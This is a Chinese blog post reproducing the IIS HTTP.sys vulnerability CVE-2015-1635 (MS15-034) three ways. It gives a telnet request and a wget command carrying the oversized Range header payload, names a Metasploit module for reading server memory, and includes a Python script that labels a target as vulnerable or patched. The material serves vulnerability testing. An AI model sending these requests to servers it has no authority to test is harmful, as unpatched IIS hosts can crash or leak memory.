HTTP.SYS远程代码执行漏洞_CVE-2015-1635(MS15-034 )【多种方法复现】

方法一: 利用如下payload进行测试

其实就是发送web请求包,然后分析web服务器的响应状态,这里假设web服务器为:www.test.com第一个测试方法是通过telnet来实现的,过程如下

telnet www.test.com 80 
GET / HTTP/1.1 
Host: stuff 
Range: bytes=0-18446744073709551615

我们直接使用wget或curl工具,也可以直接测试这个漏洞,例如使用如下命令行:

wget 127.0.0.1 –debug –header=”Range: bytes=0-18446744073709551615″

此处18446744073709551615转为十六进制即是 0xFFFFFFFFFFFFFFFF(16个F),是64位无符号整形所能表达的最大整数,那么我们很容易可以想到,这个“整数溢出”必然同这个异常的超大整数有关。

Pastebin上POC的作者提供的检测工具代码认为,如上请求包,若IIS服务器返回“Requested Range Not Satisfiable”,则是存在漏洞,否则如果返回”The request has an invalid header name“,则说明漏洞已经修补。

 

 

 

 

方法二: 通过MSF进行远程服务器内存读取

接着通过简单的设置服务器地址与服务器端口,就可以简单开展测试了

 

 

 

方法三: 通过Python脚本进行测试

 

测试源码:

import sys
import socket
import random
ipAddr = sys.argv[1]
hexAllFfff = "18446744073709551615"
req1 = "GET / HTTP/1.0\r\n\r\n"
req = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-" + hexAllFfff + "\r\n\r\n"
print "[*] Audit Started"
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req1)
boringResp = client_socket.recv(1024)
if "Microsoft" not in boringResp:
                print "[*] Not IIS"
                exit(0)
client_socket.close()
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_socket.connect((ipAddr, 80))
client_socket.send(req)
goodResp = client_socket.recv(1024)
if "Requested Range Not Satisfiable" in goodResp:
                print "[!!] Looks VULN"
elif " The request has an invalid header name" in goodResp:
                print "[*] Looks Patched"
else:
                print "[*] Unexpected response, cannot discern patch status"

 

检测说明:在安装有python环境的windows或linux下运行上述工具

python IIS_cmd.py 域名/IP

 

posted @ 2019-02-21 14:54  小生观察室  阅读(1263)  评论(0编辑  收藏  举报